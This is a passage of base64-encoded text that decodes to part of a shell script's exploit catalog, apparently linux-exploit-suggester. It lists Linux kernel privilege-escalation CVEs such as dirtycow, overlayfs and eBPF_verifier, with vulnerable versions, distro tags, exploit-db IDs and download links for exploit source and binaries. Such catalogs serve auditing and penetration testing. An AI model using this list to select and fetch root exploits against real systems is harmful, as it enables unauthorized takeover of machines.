QpleHBsb2l0LWRiOiAzNjI2NwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUyMDddJHt0eHRyc3R9IGZ1c2Vfc3VpZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjE2LjEKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMzQ5MjMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS05MzIyXSR7dHh0cnN0fSBCYWRJUkVUClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My4xNy41LHg4Nl82NApUYWdzOiBSSEVMPD03LGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xhYnMuYnJvbWl1bS5jb20vMjAxNS8wMi8wMi9leHBsb2l0aW5nLWJhZGlyZXQtdnVsbmVyYWJpbGl0eS1jdmUtMjAxNC05MzIyLWxpbnV4LWtlcm5lbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi8Kc3JjLXVybDogaHR0cDovL3NpdGUucGkzLmNvbS5wbC9leHAvcF9jdmUtMjAxNC05MzIyLnRhci5negpleHBsb2l0LWRiOgphdXRob3I6IFJhZmFsICduM3JnYWwnIFdvanRjenVrICYgQWRhbSAncGkzJyBaYWJyb2NraQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyOTBdJHt0eHRyc3R9IGVzcGZpeDY0X05NSQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMyx2ZXI8NC4xLjYseDg2XzY0ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDgvMDQvOApleHBsb2l0LWRiOiAzNzcyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gYmx1ZXRvb3RoClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA0NzU2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMyOF0ke3R4dHJzdH0gb3ZlcmxheWZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLjAsdmVyPD0zLjE5LjAKVGFnczogdWJ1bnR1PSgxMi4wNHwxNC4wNCl7a2VybmVsOjMuMTMuMC0oMnwzfDR8NSkqLWdlbmVyaWN9LHVidW50dT0oMTQuMTB8MTUuMDQpe2tlcm5lbDozLigxM3wxNikuMC0qLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi83MTcKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzMyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL29mc182NApleHBsb2l0LWRiOiAzNzI5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkyMzAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjYwXSR7dHh0cnN0fSBvdmVybGF5ZnMgKG92bF9zZXRhdHRyKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjMuMwpUYWdzOiB1YnVudHU9KDE0LjA0fDE1LjEwKXtrZXJuZWw6NC4yLjAtKDE4fDE5fDIwfDIxfDIyKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE1L1VzZXJOYW1lc3BhY2VPdmVybGF5ZnNTZXR1aWRXcml0ZUV4ZWMvCmV4cGxvaXQtZGI6IDM5MTY2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMDcyOF0ke3R4dHJzdH0ga2V5cmluZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMCx2ZXI8NC40LjEKVGFnczoKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHA6Ly9wZXJjZXB0aW9uLXBvaW50LmlvLzIwMTYvMDEvMTQvYW5hbHlzaXMtYW5kLWV4cGxvaXRhdGlvbi1vZi1hLWxpbnV4LWtlcm5lbC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE2LTA3MjgvCmV4cGxvaXQtZGI6IDQwMDAzCkNvbW1lbnRzOiBFeHBsb2l0IHRha2VzIGFib3V0IH4zMCBtaW51dGVzIHRvIHJ1bi4gRXhwbG9pdCBpcyBub3QgcmVsaWFibGUsIHNlZTogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2Jsb2cvY3ZlLTIwMTYtMDcyOC1wb2Mtbm90LXdvcmtpbmcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0yMzg0XSR7dHh0cnN0fSB1c2ItbWlkaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjQuOApUYWdzOiB1YnVudHU9MTQuMDQsZmVkb3JhPTIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hhaXJ5LmdpdGh1Yi5pby9ibG9nLzIwMTYvY3ZlLTIwMTYtMjM4NApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi0yMzg0L3BvYy5jCmV4cGxvaXQtZGI6IDQxOTk5CkNvbW1lbnRzOiBSZXF1aXJlcyBhYmlsaXR5IHRvIHBsdWcgaW4gYSBtYWxpY2lvdXMgVVNCIGRldmljZSBhbmQgdG8gZXhlY3V0ZSBhIG1hbGljaW91cyBiaW5hcnkgYXMgYSBub24tcHJpdmlsZWdlZCB1c2VyCmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk5N10ke3R4dHJzdH0gdGFyZ2V0X29mZnNldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPD00LjQuMCxjbWQ6Z3JlcCAtcWkgaXBfdGFibGVzIC9wcm9jL21vZHVsZXMKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQwMDUzLnppcApDb21tZW50czogaXBfdGFibGVzLmtvIG5lZWRzIHRvIGJlIGxvYWRlZApleHBsb2l0LWRiOiA0MDA0OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDU1N10ke3R4dHJzdH0gZG91YmxlLWZkcHV0KCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8NC41LjUsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjEtZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD04MDgKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzk3NzIuemlwCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKZXhwbG9pdC1kYjogNDA3NTkKYXV0aG9yOiBKYW5uIEhvcm4KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01MTk1XSR7dHh0cnN0fSBkaXJ0eWNvdwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV7a2VybmVsOjIuNi4oMTh8MjR8MzMpLSp9LFJIRUw9NntrZXJuZWw6Mi42LjMyLSp8My4oMHwyfDZ8OHwxMCkuKnwyLjYuMzMuOS1ydDMxfSxSSEVMPTd7a2VybmVsOjMuMTAuMC0qfDQuMi4wLTAuMjEuZWw3fSx1YnVudHU9MTYuMDR8MTQuMDR8MTIuMDQKUmFuazogNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kaXJ0eWNvdy9kaXJ0eWNvdy5naXRodWIuaW8vd2lraS9WdWxuZXJhYmlsaXR5RGV0YWlscwpDb21tZW50czogRm9yIFJIRUwvQ2VudE9TIHNlZSBleGFjdCB2dWxuZXJhYmxlIHZlcnNpb25zIGhlcmU6IGh0dHBzOi8vYWNjZXNzLnJlZGhhdC5jb20vc2l0ZXMvZGVmYXVsdC9maWxlcy9yaC1jdmUtMjAxNi01MTk1XzUuc2gKZXhwbG9pdC1kYjogNDA2MTEKYXV0aG9yOiBQaGlsIE9lc3RlcgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yMix2ZXI8PTQuOC4zClRhZ3M6IGRlYmlhbj03fDgsUkhFTD01fDZ8Nyx1YnVudHU9MTQuMDR8MTIuMDQsdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjEtZ2VuZXJpY30sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCmV4dC11cmw6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLzQwODQ3CkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDgzOQphdXRob3I6IEZpcmVGYXJ0IChhdXRob3Igb2YgZXhwbG9pdCBhdCBFREIgNDA4MzkpOyBHYWJyaWVsZSBCb25hY2luaSAoYXV0aG9yIG9mIGV4cGxvaXQgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTg2NTVdJHt0eHRyc3R9IGNob2NvYm9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPDQuOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtKDIxfDIyfDI0fDI4fDMxfDM0fDM2fDM4fDQyfDQzfDQ1fDQ3fDUxKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTYvMTIvMDYvMQpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwYWJpbGl0eSBpcyBuZWVkZWQgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkcyB0byBiZSBlbmFibGVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvQ1ZFLTIwMTYtODY1NS9jaG9jb2JvX3Jvb3QKZXhwbG9pdC1kYjogNDA4NzEKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk3OTNdJHt0eHRyc3R9IFNPX3tTTkR8UkNWfUJVRkZPUkNFClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjExLHZlcjw0LjguMTQsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvdHJlZS9tYXN0ZXIvQ1ZFLTIwMTYtOTc5MwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi05NzkzL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcHMgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE5vIFNNRVAvU01BUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIFRlc3RlZCBpbiBRRU1VIG9ubHkKZXhwbG9pdC1kYjogNDE5OTUKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy02MDc0XSR7dHh0cnN0fSBkY2NwClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD00LjkuMTEsQ09ORklHX0lQX0RDQ1A9W215XQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtNjItZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAyLzIyLzMKQ29tbWVudHM6IFJlcXVpcmVzIEtlcm5lbCBiZSBidWlsdCB3aXRoIENPTkZJR19JUF9EQ0NQIGVuYWJsZWQuIEluY2x1ZGVzIHBhcnRpYWwgU01FUC9TTUFQIGJ5cGFzcwpleHBsb2l0LWRiOiA0MTQ1OAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTczMDhdJHt0eHRyc3R9IGFmX3BhY2tldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMC42LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC44LjAtKDM0fDM2fDM5fDQxfDQyfDQ0fDQ1KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNy8wNS9leHBsb2l0aW5nLWxpbnV4LWtlcm5lbC12aWEtcGFja2V0Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwga2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTczMDgvZXhwbG9pdApleHBsb2l0LWRiOiA0MTk5NAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTY5OTVdJHt0eHRyc3R9IGVCUEZfdmVyaWZpZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuOCxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogZGViaWFuPTkuMHtrZXJuZWw6NC45LjAtMy1hbWQ2NH0sZmVkb3JhPTI1fDI2fDI3LHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtODktZ2VuZXJpY30sdWJ1bnR1PSgxNi4wNHwxNy4wNCl7a2VybmVsOjQuKDh8MTApLjAtKDE5fDI4fDQ1KS1nZW5lcmljfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yaWNrbGFyYWJlZS5ibG9nc3BvdC5jb20vMjAxOC8wNy9lYnBmLWFuZC1hbmFseXNpcy1vZi1nZXQtcmVrdC1saW51eC5odG1sCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xNjk5NS9leHBsb2l0Lm91dApleHBsb2l0LWRiOiA0NTAxMAphdXRob3I6IFJpY2sgTGFyYWJlZQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAxMTJdJHt0eHRyc3R9IE5FVElGX0ZfVUZPClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQsdmVyPD00LjEzLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtKn0sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDgvMTMvMQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcCBvciBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gU01FUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBkaXN0cm9zL2tlcm5lbHMKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xMDAwMTEyL2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMjUzXSR7dHh0cnN0fSBQSUVfc3RhY2tfY29ycnVwdGlvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMyx4ODZfNjQKVGFnczogUkhFTD02LFJIRUw9N3trZXJuZWw6My4xMC4wLTUxNC4yMS4yfDMuMTAuMC01MTQuMjYuMX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDkvMjYvbGludXgtcGllLWN2ZS0yMDE3LTEwMDAyNTMvY3ZlLTIwMTctMTAwMDI1My5jCmV4cGxvaXQtZGI6IDQyODg3CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTUzMzNdJHt0eHRyc3R9IHJkc19hdG9taWNfZnJlZV9vcCBOVUxMIHBvaW50ZXIgZGVyZWZlcmVuY2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuMTMsY21kOmdyZXAgLXFpIHJkcyAvcHJvYy9tb2R1bGVzLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wfDQuOC4wfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vd2Jvd2xpbmcvOWQzMjQ5MmJkOTZkOWU3YzNiZjUyZTIzYTBhYzMwYTQvcmF3Lzk1OTMyNTgxOWM3ODI0OGE2NDM3MTAyYmIyODliYjg1NzhhMTM1Y2QvY3ZlLTIwMTgtNTMzMy1wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTgtNTMzMy9jdmUtMjAxOC01MzMzLmMKQ29tbWVudHM6IHJkcy5rbyBrZXJuZWwgbW9kdWxlIG5lZWRzIHRvIGJlIGxvYWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIHRhcmdldHMgYW5kIGJ5cGFzc2luZyBLQVNMUi4KYXV0aG9yOiB3Ym93bGluZyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xODk1NV0ke3R4dHJzdH0gc3VidWlkX3NoZWxsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjE1LHZlcjw9NC4xOS4yLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLGNtZDpbIC11IC91c3IvYmluL25ld3VpZG1hcCBdLGNtZDpbIC11IC91c3IvYmluL25ld2dpZG1hcCBdClRhZ3M6IHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLTIwLWdlbmVyaWN9LGZlZG9yYT0yOHtrZXJuZWw6NC4xNi4zLTMwMS5mYzI4fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE3MTIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NzEzMy56aXAKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEzMjcyL3BvYy5jCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhY3RpdmUgUG9sS2l0IGFnZW50LgpleHBsb2l0LWRiOiA0NzEzMwpleHBsb2l0LWRiOiA0NzE2MwphdXRob3I6IEphbm4gSG9ybiAob3J